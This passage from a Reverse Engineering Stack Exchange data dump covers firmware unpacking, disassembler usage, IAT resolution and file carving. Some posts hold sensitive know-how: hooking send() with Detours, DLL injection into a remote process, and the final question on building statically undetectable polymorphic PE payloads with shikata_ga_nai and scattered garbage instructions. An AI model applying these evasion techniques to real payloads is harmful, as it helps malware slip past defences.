Oct 30 01:33 5C7A23.xml&#xA;-rw-r--r-- 1 shakir shakir 2324105 Oct 30 01:33 5C8977.xml&#xA;-rw-r--r-- 1 shakir shakir 2320969 Oct 30 01:33 5C95B7.xml&#xA;-rw-r--r-- 1 shakir shakir 2318945 Oct 30 01:33 5C9D9F.xml&#xA;-rw-r--r-- 1 shakir shakir 2316981 Oct 30 01:33 5CA54B.xml&#xA;-rw-r--r-- 1 shakir shakir 2314837 Oct 30 01:33 5CADAB.xml&#xA;-rw-r--r-- 1 shakir shakir 2312697 Oct 30 01:33 5CB607.xml&#xA;-rw-r--r-- 1 shakir shakir 2310589 Oct 30 01:33 5CBE43.xml&#xA;-rw-r--r-- 1 shakir shakir 2306573 Oct 30 01:33 5CCDF3.xml&#xA;-rw-r--r-- 1 shakir shakir 2303889 Oct 30 01:33 5CD86F.xml&#xA;-rw-r--r-- 1 shakir shakir 2301529 Oct 30 01:33 5CE1A7.xml&#xA;-rw-r--r-- 1 shakir shakir 2299993 Oct 30 01:33 5CE7A7.xml&#xA;-rw-r--r-- 1 shakir shakir 2297113 Oct 30 01:33 5CF2E7.xml&#xA;-rw-r--r-- 1 shakir shakir 2294233 Oct 30 01:33 5CFE27.xml&#xA;-rw-r--r-- 1 shakir shakir 2289881 Oct 30 01:33 5D0F27.xml&#xA;-rw-r--r-- 1 shakir shakir 2286693 Oct 30 01:33 5D1B9B.xml&#xA;-rw-r--r-- 1 shakir shakir 2282885 Oct 30 01:33 5D2A7B.xml&#xA;-rw-r--r-- 1 shakir shakir 2280329 Oct 30 01:33 5D3477.xml&#xA;-rw-r--r-- 1 shakir shakir 2277817 Oct 30 01:33 5D3E47.xml&#xA;-rw-r--r-- 1 shakir shakir 2273341 Oct 30 01:33 5D4FC3.xml&#xA;-rw-r--r-- 1 shakir shakir 2270009 Oct 30 01:33 5D5CC7.xml&#xA;-rw-r--r-- 1 shakir shakir 2267141 Oct 30 01:33 5D67FB.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to get the .c files like /source/base/src/doidleonpage.c ?&lt;/li&gt;&#xA;&lt;li&gt;Why the file's name begin with hex ?&lt;/li&gt;&#xA;&lt;li&gt;What to do next in order to get all the files ?&lt;/li&gt;&#xA;&lt;li&gt;What's the correct way to pack the files to a .bin file after unpacking and&#xA;modifying them to flash it to the phone ?&lt;/li&gt;&#xA;&lt;li&gt;Am i in the correct path ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Firmware Link: &lt;a href=&quot;http://www.mediafire.com/file/yl056lfk8xubt1o/GT-E1200Y_Hebrew_SINGAL_SIM.bin/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/file/yl056lfk8xubt1o/GT-E1200Y_Hebrew_SINGAL_SIM.bin/file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34815" LastEditorUserId="34815" LastEditDate="2020-10-31T03:58:03.053" LastActivityDate="2021-01-11T01:22:07.257" Title="Modify bin firmware file of an old phone" Tags="|binary-analysis|firmware|firmware-analysis|binwalk|binary-editing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26205" PostTypeId="2" ParentId="26203" CreationDate="2020-10-31T18:07:19.207" Score="3" Body="&lt;p&gt;For most languages -- especially ones that are compiled directly into machine code -- the answer to whether knowing the compiler makes it easier to decompile them is &amp;quot;no&amp;quot;. &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr&quot;&gt;I wrote a post a while ago explaining the difficulties that machine code decompilers face&lt;/a&gt;; none of them are made easier by knowing the compiler.&lt;/p&gt;&#xA;&lt;p&gt;However, your question doesn't mention any of the specific machine code decompilers such as Ghidra. It has the potential to make your life a lot easier, by giving you a reasonably-good approximation of the source code that is interactive (i.e., allows you to change names and types, add comments, etc). I'd recommend giving it a look. Regardless, assembly language will be involved in the process.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-10-31T18:07:19.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26207" PostTypeId="1" CreationDate="2020-11-01T02:31:54.073" Score="1" ViewCount="1121" Body="&lt;p&gt;I'm disassembling a large ARM binary and I see that for some functions both Ghidra and Radare2 appear to fail to disassemble certain functions whereas Hopper works for those same functions&lt;/p&gt;&#xA;&lt;p&gt;In Ghidra - I see question marks at the (correct) address disassembly&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                         LAB_1006750e0                                   XREF[1]:     1006750d0(j)  &#xA;   1006750e0 00 00 80 d2     mov        x0,#0x0&#xA;   1006750e4 f4 03 13 aa     mov        x20,x19&#xA;   1006750e8 b0 00 00 94     bl         FUN_1006753a8                                    undefined FUN_1006753a8()&#xA;   1006750ec f0 ff ff 17     b          LAB_1006750ac&#xA;   1006750f0 e2              ??         E2h&#xA;   1006750f1 f3              ??         F3h&#xA;   1006750f2 ff              ??         FFh&#xA;   1006750f3 10              ??         10h&#xA;   1006750f4 1f              ??         1Fh&#xA;   1006750f5 20              ??         20h     &#xA;   1006750f6 03              ??         03h&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In radare2 - after seeking to the address and running af and pdf, I get:&#xA;&amp;quot;Linear size differs too much from the bbsum, please use pdr instead.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;What can I do here to get these functions to disassemble in Ghidra and radare2?&lt;/p&gt;&#xA;" OwnerUserId="34824" LastActivityDate="2020-11-01T23:24:30.513" Title="ARM binary dissasembly, Hopper works, Ghidra and Radare2 don't for some functions" Tags="|radare2|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26209" PostTypeId="1" CreationDate="2020-11-01T12:50:57.683" Score="1" ViewCount="1384" Body="&lt;p&gt;I accidently maximized the functions Window and now it is de attached from the main window:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JY5Zb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JY5Zb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I attach it back to be part of the main window? I tried to drag it but it doesn't work. Also re opening IDA didn't help.&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-11-01T20:37:46.427" Title="How to attach IDA Window back to be part of the IDA main window" Tags="|ida|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26210" PostTypeId="1" CreationDate="2020-11-01T15:54:43.347" Score="0" ViewCount="185" Body="&lt;p&gt;I have a program that calls send (), I need to change the host to my own, but this does not work (either the program crashes or the request does not reach the server) - I log requests on the server. What could be the problem?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int WINAPI Mine_Send(SOCKET s, const char* buf, int len, int flags) {&#xA;&#xA;string sdata = &amp;quot;Host: myhost.com\r\r\nConnection: close\r\r\nAccept-Encoding: gzip,deflate\r\r\n\r\r\n&amp;quot;;&#xA;&#xA;const char* cstr = sdata.c_str();&#xA;&#xA;return Real_Send(s, cstr, strlen(cstr), flags);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28002" LastActivityDate="2020-11-01T15:54:43.347" Title="Detours ws2_32.dll [Send]" Tags="|c++|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26211" PostTypeId="1" AcceptedAnswerId="26275" CreationDate="2020-11-01T20:13:23.270" Score="2" ViewCount="177" Body="&lt;p&gt;I'm trying to understand how Windows is resolving functions with the IAT.&lt;/p&gt;&#xA;&lt;p&gt;I have noticed that when a call is made to a Win API function, the structure of that call is not always the same (it's still consistent inside a binary, but not between two differents binary).&lt;/p&gt;&#xA;&lt;p&gt;Sometime, if i follow the target address of that call, i find a jump to the resolved Win API function.&#xA;And sometime, it's directly a call to the resolved function.&lt;/p&gt;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the binary A is using call like :&#xA;&lt;code&gt;call    ds:GetSystemDirectoryW&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the binary B is calling like that:&#xA;&lt;code&gt;call  GetSystemDirectoryW  -&amp;gt; jmp ds:__imp_GetSystemDirectoryW &lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Can someone explain me the this difference in the calling procedure ?&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2020-11-09T11:44:20.997" Title="PE - IAT resolve mechanism" Tags="|pe|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26212" PostTypeId="2" ParentId="26209" CreationDate="2020-11-01T20:21:52.370" Score="2" Body="&lt;p&gt;You can reattach your window by placing your mouse on the thin gray bar, as in this screenshot :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Yg0z9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yg0z9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2020-11-01T20:21:52.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26213" PostTypeId="2" ParentId="26209" CreationDate="2020-11-01T20:37:46.427" Score="0" Body="&lt;p&gt;In your screenshot, you can see a thin strip of gray between the title of the window (&lt;code&gt;Functions window&lt;/code&gt;) and the column headers (e.g. &lt;code&gt;Function name&lt;/code&gt;). If you hover your mouse in that gray area, it will expand and the title text (&lt;code&gt;Functions window&lt;/code&gt;) will appear again, as in the following screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cy2K4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cy2K4.png&quot; alt=&quot;mouseover on the gray area beneath the title&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once that happens, hold down the left click button and move the window. You will see a number of icons appear around the edges, and in the center of the IDA window, as follows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4ChPt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ChPt.png&quot; alt=&quot;after clicking/dragging the gray area&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your first option is to ignore those icons, and drag the window into the area with the tabbed window names (e.g &lt;code&gt;IDA View-A&lt;/code&gt;, &lt;code&gt;Pseudocode-A&lt;/code&gt;, etc). The window will become an ordinary tab again. This is probably what you want.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can drag your mouse onto one of the aforementioned icons to get a split-screen view. I recommend playing with them to get an intuitive feel for what the icons do, but here's a textual description:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Leftmost/center-left icon : the current tab will now be split into two panes, with the one you dragged in on the left, and the active one on the right&lt;/li&gt;&#xA;&lt;li&gt;Rightmost/center-right icon: ditto, except the one you dragged will be on the right&lt;/li&gt;&#xA;&lt;li&gt;Topmost/center-top icon: the screen is split into two panes; the existing tabs will be in the bottom pane, and the current window will be in the top pane by itself&lt;/li&gt;&#xA;&lt;li&gt;Bottommost/center-bottom icon: ditto, except the one you dragged will be at the bottom&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-11-01T20:37:46.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26214" PostTypeId="1" CreationDate="2020-11-01T21:56:04.280" Score="1" ViewCount="792" Body="&lt;p&gt;I want to end up in something like the following using idapython to determine if given a specific address there is an xref (without caring where the XREF comes from)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ea_start = #&#xA;ea_end = #&#xA;for ea in range(ea_start,ea_end):&#xA;    if hasXREF(ea):&#xA;        doSomething()&#xA;&#xA;&#xA;def hasXREF(addr):&#xA;    &#xA;    if [something]:&#xA;        return true&#xA;    else&#xA;        return false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34830" LastActivityDate="2022-07-25T03:05:00.500" Title="Determine if there is a cross reference using idapython given a specific address" Tags="|ida|idapython|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26215" PostTypeId="2" ParentId="26214" CreationDate="2020-11-01T22:19:35.930" Score="2" Body="&lt;p&gt;Take a look at this link: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idautils-module.html#XrefsTo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/idautils-module.html#XrefsTo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can use the function:&#xA;&lt;code&gt;XrefsTo(ea, flags=0)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the description, it&#xA;&lt;code&gt;Return all references to address ea&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And &lt;code&gt;XrefsFrom(ea, flags=0)&lt;/code&gt;, which &lt;code&gt; Return all references from address 'ea'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You should have anything for your script now :)&lt;/p&gt;&#xA;&lt;p&gt;I have an example of a working IDA Python script that you can use as a reference here (It count the number of XrefTo per functions of a binary): &lt;a href=&quot;https://github.com/GuillaumeOrlando/MalwareAnalysisArtifacts/blob/master/IDA_Scripts/XrefChecker.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GuillaumeOrlando/MalwareAnalysisArtifacts/blob/master/IDA_Scripts/XrefChecker.py&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2020-11-01T22:19:35.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26216" PostTypeId="2" ParentId="26214" CreationDate="2020-11-01T22:52:17.007" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/group___f_f__.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;flags&lt;/em&gt;&lt;/a&gt; which are attached to each address and, among other info, store information about whether the address has any xrefs to it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def hasXREF(addr):        &#xA;    return has_xref(get_flags(addr))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;BTW, instead of inspecting every address it's better and faster to inspect only head bytes (starts of instructions or data items) which are returned by the &lt;a href=&quot;https://www.hex-rays.com/wp-content/static/products/ida/support/idapython_docs/idautils-module.html#Heads&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;idautils.Heads()&lt;/code&gt;&lt;/a&gt; iterator.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-11-01T22:52:17.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26217" PostTypeId="2" ParentId="26207" CreationDate="2020-11-01T23:24:30.513" Score="-1" Body="&lt;p&gt;I can only address the Ghidra-part of your question:&lt;/p&gt;&#xA;&lt;p&gt;Generally speaking, you can always instruct Ghidra to create a function at a given position by marking it and hitting &lt;code&gt;F&lt;/code&gt; (default key binding for &amp;quot;Create Function&amp;quot; of the &amp;quot;FunctionPlugin) or by selecting &amp;quot;Create Function&amp;quot; from the context menu.&lt;/p&gt;&#xA;&lt;p&gt;The question marks are there because Ghidra couldn't or didn't disassemble this part and hence doesn't have any assembly instructions to display. But this may change as soon as you &lt;em&gt;create&lt;/em&gt; a function.&lt;/p&gt;&#xA;&lt;p&gt;Concretely, right click on &lt;code&gt;1006750f0&lt;/code&gt; and select &amp;quot;Create Function&amp;quot; from the context menu. This should give you both a disassembly and a decompiled function.&lt;/p&gt;&#xA;&lt;p&gt;Another general remark: Function identification is a hard problem and there are a lot of different algorithms and heuristics used by different tools (IDA, radare2, Hopper, Ghidra, ...) to approach it. None of those is perfect and sometimes some of those tools perform better then others.&lt;/p&gt;&#xA;" OwnerUserId="34094" LastActivityDate="2020-11-01T23:24:30.513" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26220" PostTypeId="1" AcceptedAnswerId="26251" CreationDate="2020-11-02T07:02:41.510" Score="0" ViewCount="106" Body="&lt;p&gt;I've been trying to modify a data file within an app which has random lines of readable text but is mostly incomprehensible, it has no file extension.&lt;/p&gt;&#xA;&lt;p&gt;I think its compressed because I was able to find an older version of the same data file [same name, same location in game files] which has a much larger file size and is in plain text.&lt;/p&gt;&#xA;&lt;p&gt;By default in the game files, the encrypted/compressed version is used but if I replace it with the older version it still works[all changes between them are however not present], this makes me think that the game does some sort of check to see if the file is compressed then decompresses it if appropriate.&lt;/p&gt;&#xA;&lt;p&gt;What can potentially be done to decompress the current data file, or if its not compressed to convert it to plain text.&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&lt;p&gt;Edit 1:&#xA;Here are links to the original data files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1ThunlNtdfwK_hiFpG6ioTkrTpd62E5KR/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;compressed&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1mVU-gtYXglSCs6kX-fYWa5yu-neO-Nlo/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;uncompressed older version&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks Gordon Freeman.&lt;/p&gt;&#xA;" OwnerUserId="34834" LastEditorUserId="34834" LastEditDate="2020-11-05T03:23:39.797" LastActivityDate="2020-11-05T07:56:32.760" Title="Seemingly compressed file with some readable text" Tags="|decryption|decompress|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26221" PostTypeId="1" AcceptedAnswerId="26234" CreationDate="2020-11-02T08:40:34.053" Score="2" ViewCount="415" Body="&lt;p&gt;If I load a dll in 2 different processes, will the offsets calculations within one process hold for the other process?&lt;/p&gt;&#xA;&lt;p&gt;I'm currently trying to patch the import table of a dll, once injected into a remote process. I was wondering if I could &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt; in the injector process and simply math an expected location in the target process based on the address where the dll is loaded.&lt;/p&gt;&#xA;" OwnerUserId="10182" LastActivityDate="2020-11-06T04:40:29.190" Title="Are offsets within a loaded dll always the same relative to each other?" Tags="|windows|dll-injection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26223" PostTypeId="1" AcceptedAnswerId="26228" CreationDate="2020-11-02T17:24:54.120" Score="0" ViewCount="94" Body="&lt;p&gt;This file suppose to have an image obtained from a Laser system. Since it needs a propietary software for the decoder I have been slowed in order to get the data. I wonder if you guys know any way of decoding the information that is in this file. I tried using the fuzzy logic toolbox from matlab that says that reads a .fis file, but could not get it to work. Any ideas very welcome. &lt;a href=&quot;https://drive.google.com/file/d/18j0LWbhWO2VX8RAlbJ-QkGwvJw22LXCi/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sample file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34838" LastActivityDate="2020-11-02T21:30:22.590" Title="I'm trying to decode this file that supposed to encode an imaged obtained by a laser system" Tags="|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26224" PostTypeId="1" CreationDate="2020-11-02T18:04:50.100" Score="0" ViewCount="1201" Body="&lt;p&gt;I am using the websocket module for my client in python3, and I am trying to troubleshoot some errors I am getting that lead to the client disconnecting after seemingly random intervals.&lt;br /&gt;&#xA;When I enabled trace with &lt;code&gt;websocket.enableTrace(True)&lt;/code&gt; I can see some entries that I am not sure how to decrypt. Here is an example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Thread-3:send: b'\x88\x82\xc1$\xf7\xa6\xc2\xcc'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any idea how to decrypt the message and see if this could explain the source of my problem?&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="34839" LastActivityDate="2020-11-24T17:41:52.630" Title="Decoding messages sent/received by Python websocket client" Tags="|python|binary|encodings|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26227" PostTypeId="2" ParentId="26065" CreationDate="2020-11-02T21:28:31.367" Score="3" Body="&lt;p&gt;You can specify external DLLs in the Import dialog when you first load the binary into Ghidra. There, click on the &amp;quot;Options...&amp;quot; button. Then, check &amp;quot;Load External Libraries&amp;quot; and make sure the Game's DLLs are a directory on the list that appears after clicking &amp;quot;Edit Paths&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tSg7o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tSg7o.png&quot; alt=&quot;Dialogs in Ghidra to add external libraries&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34094" LastActivityDate="2020-11-02T21:28:31.367" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26228" PostTypeId="2" ParentId="26223" CreationDate="2020-11-02T21:30:22.590" Score="1" Body="&lt;p&gt;a simple glance ofthefile with a hexeditor says there are two jpegs inside the file&#xA;just carve the data between the signature ffd8ffe0 -----ffd9 and look if that is what you are interested in?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;e:\GIT\usr\bin\xxd.exe &amp;quot;1IC4A 0.045 (1).fis&amp;quot; | grep -B 4 -A 4 JFIF&#xA;&#xA;&#xA;000ffdb0: c154 3335 ad75 75c0 58db 4556 4e23 1dd3  .T35.uu.X.EVN#..&#xA;000ffdc0: c685 da86 b636 bc05 1bc2 be06 5202 c358  .....6......R..X&#xA;000ffdd0: a181 00c5 503d 170c 16c8 80da 2d43 5a84  ....P=......-CZ.&#xA;000ffde0: 754a 5606 551a 7946 8c1a d194 0100 0000  uJV.U.yF........&#xA;000ffdf0: cca1 0700 ffd8 ffe0 0010 4a46 4946 0001  ..........JFIF..&#xA;000ffe00: 0200 0001 0001 0000 fffe 0037 4a50 4547  ...........7JPEG&#xA;000ffe10: 2065 6e63 6f64 6572 2062 6173 6564 206f   encoder based o&#xA;000ffe20: 6e20 6970 704a 5020 5b37 2e30 2e31 3034  n ippJP [7.0.104&#xA;000ffe30: 315d 202d 204a 756c 2031 3920 3230 3131  1] - Jul 19 2011&#xA;--&#xA;002748e0: 50e2 b6ea 147e 51f7 61fe c1c3 1f89 a48b  P....~Q.a.......&#xA;002748f0: 8fa0 832d daf3 ca7a 0362 bfd2 7f24 8e74  ...-...z.b...$.t&#xA;00274900: 1300 cd7a 10c2 e192 e208 0e14 5269 14c0  ...z........Ri..&#xA;00274910: 3332 251c 9972 f805 e06c 0100 0000 4a07  32%..r...l....J.&#xA;00274920: 0700 ffd8 ffe0 0010 4a46 4946 0001 0200  ........JFIF....&#xA;00274930: 0001 0001 0000 fffe 0037 4a50 4547 2065  .........7JPEG e&#xA;00274940: 6e63 6f64 6572 2062 6173 6564 206f 6e20  ncoder based on&#xA;00274950: 6970 704a 5020 5b37 2e30 2e31 3034 315d  ippJP [7.0.1041]&#xA;00274960: 202d 204a 756c 2031 3920 3230 3131 00ff   - Jul 19 2011..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-11-02T21:30:22.590" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26230" PostTypeId="1" CreationDate="2020-11-03T01:18:53.037" Score="0" ViewCount="262" Body="&lt;p&gt;I have a script written to work with Ghidra. I am doing some analysis in the script and save the results in a file. Right now, I am passing the name when a prompt ask the file name to save upon running the script. Though this is ok for one, I need to run this script in more than 100 objects at once(using the headless analyzer) and I want the file name to automatically taken from the object name. How could I do this?&lt;/p&gt;&#xA;&lt;p&gt;For example, let's say I have an object file called &lt;code&gt;mqtt.o&lt;/code&gt;. I need to take this name (&lt;code&gt;mqtt&lt;/code&gt;) while saving the file which contains the results. I looked through the API, but still could not find a way to get the name of the object of analysis. Any help is appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="31454" LastEditorUserId="37138" LastEditDate="2021-09-28T08:20:24.887" LastActivityDate="2022-06-25T10:08:25.820" Title="Getting the object name through the Ghidra Script" Tags="|binary-analysis|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26231" PostTypeId="1" AcceptedAnswerId="26235" CreationDate="2020-11-03T10:36:45.947" Score="2" ViewCount="263" Body="&lt;p&gt;Recently I've been working on a project. The main purpose of the project is to generated statically undetectable PE samples. Where each time one generates a PE sample, each generated sample is going to be significantly different than the previous one. I'll be using &lt;em&gt;shikata_ga_nai&lt;/em&gt; (&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb&lt;/a&gt;) to achieve polymorphism. However I'm currently working to improve on &lt;em&gt;garbage assembly generation&lt;/em&gt;. There are a lot of possibilities to create garbage assembly. However most of the encoders, including shikata_ga_nai generate garbage assembly at a fixed relative position - meaning the garbage instructions are placed at the end of the code or the beginning. Is there anyway to scatter these garbage instructions across the code WITHOUT messing up the conditional/unconditial &lt;code&gt;jmp&lt;/code&gt; and &lt;code&gt;call&lt;/code&gt; instructions with relative offsets?&lt;/p&gt;&#xA;&lt;p&gt;For the sake of simplicity take the below piece of assembly as an example of a code that my PE file is going to execute&lt;/p&gt;&#xA;&lt;p&gt;Payload&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x42:   0F B7 2C 17             movzx   ebp, word ptr [rdi + rdx]&#xA;0x46:   8D 52 02                lea     edx, [rdx + 2]&#xA;0x49:   AD                      lodsd   eax, dword ptr [rsi]&#xA;0x4a:   81 3C 07 57 69 6E 45    cmp     dword ptr [rdi + rax], 0x456e6957&#xA;0x51:   75 EF                   jne     0x42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let's say the garbage instruction I want to insert is &lt;code&gt;cmovne  rsi, rsi&lt;/code&gt;. If I insert this instruction at the beginning or the end of the code the logic of it doesn't change.&lt;/p&gt;&#xA;&lt;p&gt;However If I insert &lt;code&gt;cmovne  rsi, rsi&lt;/code&gt; before the &lt;code&gt;cmp&lt;/code&gt; instruction the &lt;code&gt;0x4a&lt;/code&gt; offset, when the conditional jmp instruction at the &lt;code&gt;0x55&lt;/code&gt; will execute, it's going to skip the instructions located at &lt;code&gt;0x42&lt;/code&gt;-&amp;gt; &lt;code&gt;0x42:  movzx   ebp, word ptr [rdi + rdx]&lt;/code&gt; and start executing at address &lt;code&gt;0x46&lt;/code&gt; -&amp;gt; &lt;code&gt;lea     edx, [rdx + 2]&lt;/code&gt; becase the offset it's trying to jmp is relative to the &lt;code&gt;rip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;(&lt;strong&gt;Old offset&lt;/strong&gt; -&amp;gt; &lt;code&gt;0x42&lt;/code&gt;+ &lt;strong&gt;garbage instruction length&lt;/strong&gt; -&amp;gt; &lt;code&gt;0x4&lt;/code&gt;= &lt;strong&gt;New WRONG offset&lt;/strong&gt; -&amp;gt; &lt;code&gt;0x46&lt;/code&gt; )&lt;/p&gt;&#xA;&lt;p&gt;Garbage padded payload&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x42:   0F B7 2C 17             movzx   ebp, word ptr [rdi + rdx]&#xA;0x46:   8D 52 02                lea     edx, [rdx + 2]&#xA;0x49:   AD                      lodsd   eax, dword ptr [rsi]&#xA;0x4a:   48 0F 45 F6             cmovne  rsi, rsi&#xA;0x4e:   81 3C 07 57 69 6E 45    cmp     dword ptr [rdi + rax], 0x456e6957&#xA;0x55:   75 EF                   jne     0x46&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there any approach I can take to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2020-11-03T19:04:15.777" Title="Garbage Assembly Code Generationat at random offsets" Tags="|disassembly|assembly|pe|x86-64|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
